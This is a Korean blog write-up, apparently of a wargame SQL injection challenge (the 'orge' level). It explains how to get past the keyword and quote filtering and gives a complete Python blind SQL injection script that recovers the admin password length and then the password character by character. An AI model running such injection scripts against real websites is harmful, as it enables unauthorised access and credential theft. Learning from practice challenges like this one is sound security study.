or, and 를 필터링하고 있으며 addslashed()로 '(Single Quarter)를 막고 있습니다.
하지만 Query가 2번 있고, 두번째 Query하기 전에만 Single Quarter를 막기 때문에 문제되지 않습니다.
해당 문제는 Blind Sql Injection으로 풀었는데, 두번째 Query의 결과로 참 거짓을 판별할 수 없기 때문입니다.
![](https://t1.daumcdn.net/cfile/tistory/99BE764F5BB879823C)
우선 or는 || 로 대신 사용할 수 있습니다.
참일 경우 다음과 같이 "Hello guest"라는 문장이 나오게 됩니다.
그렇다면 앞선 문제처럼 'admin'으로 성공하면 "Hello admin"이라고 나온다고 생각할 수 있습니다.
![](https://t1.daumcdn.net/cfile/tistory/990C404F5BB8798308)
첫 Query에서 id='admin'을 하는 이유는 테이블에 다른 계정의 pw의 개수가 짧을 경우에 먼저 나오기 때문입니다.
(아래 주석으로 해도 guest pw는 15자리로 문제가 없긴 합니다.)
and는 &&로 바꾸면 되지만 URL에서 &는 [id=test&pw=test] 처럼 변수를 구분하는 용도로 쓰이기에 미리 인코딩한 값으로 해야 합니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 | import requests cookies= {'PHPSESSID':'YourCookieValue'} url = 'https://los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php?' password = '' length = 0 #pw 갯수 구하기 for i in range(1,99): query = "pw=' || id='admin' %26%26 length(pw)="+str(i)+"%23" #query = "pw=' || length(pw)="+str(i)+"%23" payload = url+query print (payload) res = requests.get(payload, cookies=cookies) if((res.text).find("Hello admin")>0): length = i print("length: "+str(length)) break #pw 구하기 for i in range(1,length+1): for j in range(33,127): query = "pw=' || id='admin' %26%26 substr(pw,1,"+str(i)+")='"+password+chr(j)+"'%23" payload = url+query print (payload) res = requests.get(payload, cookies=cookies) if((res.text).find("Hello admin")>0): password += chr(j) print("password: "+password) break print ("password : "+password) | cs |
![](https://t1.daumcdn.net/cfile/tistory/9987224F5BB8798301)